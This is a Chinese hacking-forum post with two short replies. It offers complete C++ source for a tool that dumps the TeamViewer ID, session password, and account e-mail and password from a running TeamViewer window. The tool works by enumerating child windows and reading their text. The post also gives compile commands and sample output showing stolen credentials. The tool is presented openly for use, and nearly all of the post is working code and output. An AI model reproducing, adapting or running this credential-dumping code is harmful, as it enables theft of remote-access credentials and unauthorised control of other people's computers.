搜索
查看: 525|回复: 2

获取运行中的TeamViewer的账号和密码(Test on English GUI)

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-7-2 23:54:31 | 显示全部楼层 |阅读模式
Dumps TeamViewer ID,Password and account settings from a running TeamViewer instance by enumerating child windows.


  1. #define WIN32_LEAN_AND_MEAN
  2. #include <windows.h>
  3. #include <iostream>
  4. #pragma comment( lib, "kernel32" )
  5. #pragma comment( lib, "user32" )

  6. int status = 0;

  7. BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
  8. {
  9.         const int BufferSize = 1024;
  10.         char BufferContent[BufferSize] = "";
  11.         SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
  12.       
  13.         if (status == 1)
  14.         {
  15.                 printf("%s\n", BufferContent);
  16.                 status = 0;
  17.         }

  18.         if (strstr(BufferContent, "Allow Remote Control") != NULL)
  19.         {
  20.                 status = 1;
  21.                 printf("TeamViewer ID: ");
  22.         }
  23.       
  24.         if (strstr(BufferContent, "Please tell your partner") != NULL)
  25.         {
  26.                 status = 1;
  27.                 printf("TeamViewer PASS: ");
  28.         }

  29.         return 1;
  30. }

  31. BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
  32. {
  33.         const int BufferSize = 1024;
  34.         char BufferContent[BufferSize] = "";
  35.         SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
  36.       
  37.         if (status == 1)
  38.         {
  39.                 printf("%s\n", BufferContent);
  40.                 status = 0;
  41.         }

  42.         if (strstr(BufferContent, "E-mail") != NULL)
  43.         {
  44.                 status = 1;
  45.                 printf("E-mail: ");
  46.         }
  47.       
  48.         if (strstr(BufferContent, "Password") != NULL)
  49.         {
  50.                 status = 1;
  51.                 printf("Password: ");
  52.         }

  53.         return 1;
  54. }


  55. int main()
  56. {
  57.         HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer");

  58.         if (hwndTeamViewer)
  59.         {
  60.                 EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0);
  61.         }
  62.       
  63.       
  64.         HWND hwndAccount = FindWindow(NULL, "Computers & Contacts");

  65.         if (hwndAccount)
  66.         {
  67.                 EnumChildWindows(hwndAccount, EnumAccountWindow, 0);
  68.         }

  69.       
  70.         return 0;
  71. }
复制代码


  1. Compile with CL
  2.     cl TeamViewerDump.cpp
  3.     or with cl TeamViewerDump.cpp /EHsc
  4. Requirements
  5.     TeamViewer must be running
  6.     Tested only with English GUI of TeamViewer
复制代码


  1. C:\tools\Projects>TeamViewer_Dump.exe
  2. TeamViewer ID: 606 151 261
  3. TeamViewer PASS: 3239
  4. E-mail: hacked@account.com
  5. Password: FooPassword123

  6. C:\tools\Projects>
复制代码



游客,如果您要查看本帖隐藏内容请回复

过段时间可能会取消签到功能了

1

主题

21

帖子

51

积分

我是新手

Rank: 1

积分
51
发表于 2017-2-16 00:28:19 | 显示全部楼层
nice  ..               

0

主题

6

帖子

80

积分

我是新手

Rank: 1

积分
80
发表于 2017-6-30 22:51:38 | 显示全部楼层
对版本有限制的么?最新的版本好像不行?
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表